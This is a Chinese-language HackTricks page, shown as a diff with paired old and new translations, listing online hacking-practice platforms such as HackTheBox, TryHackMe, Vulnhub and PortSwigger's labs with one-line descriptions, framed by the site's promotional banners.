* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 的 github 仓库提交 PR 来分享您的黑客技巧。**
</details>
@ -19,54 +17,52 @@
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
Hackthebox提供在线的可供黑客攻击的机器这是学习黑客技术的最佳地点。如果你是新手我建议你通过观看Ippsec的视频来学习攻击已退役的机器。
Hackthebox 提供在线机器进行黑客攻击,是通过实践学习的最佳场所。如果你是新手,我建议你通过跟随 Ippsec 视频来学习已退役的机器。
HackTheBox学院是一个新平台,以更有指导性的方式学习黑客技术,如果你想练习攻击某些特定技术,这也是一个很好的资源!
HackTheBox 学院是一个新平台,以更有指导性的方式学习黑客技术,如果你想练习某些特定技术的黑客攻击,这也是一个很好的资源!
## [https://tryhackme.com/](https://tryhackme.com)
Tryhackme是一个提供虚拟机的平台需要通过解决步骤来攻击虚拟机非常适合初学者和自己攻击虚拟机的CTF
Tryhackme 是一个带有虚拟机的平台,需要通过教程来解决问题,这对初学者和正常的 CTF 非常有好处,你需要自己黑进机器
## [https://www.root-me.org/](https://www.root-me.org)
Rootme是另一个提供在线托管的虚拟机供黑客攻击的网站
Rootme 是另一个提供在线托管虚拟机进行黑客攻击的页面
## [https://www.vulnhub.com/](https://www.vulnhub.com)
Vulnhub提供下载并攻击的机器。
Vulnhub 提供下载然后进行黑客攻击的机器
## [https://hack.me/](https://hack.me)
这个网站似乎是一个社区平台
这个网站似乎是一个社区平台
## [https://www.hacker101.com/](https://www.hacker101.com)
免费的网站提供视频和CTF。
免费网站,提供视频和 CTFs
## [https://crackmes.one/](https://crackmes.one)
这个网站有很多用于取证学习的二进制文件
这个网站有很多二进制文件用于取证学习。
## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/)
## [https://attackdefense.com/](https://attackdefense.com)
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
这个网站有很多关于Web漏洞利用的实验室
这个网站有很多网络利用实验室
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为英雄级人物,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 的 github 仓库提交 PR 来分享您的黑客技巧。**
</details>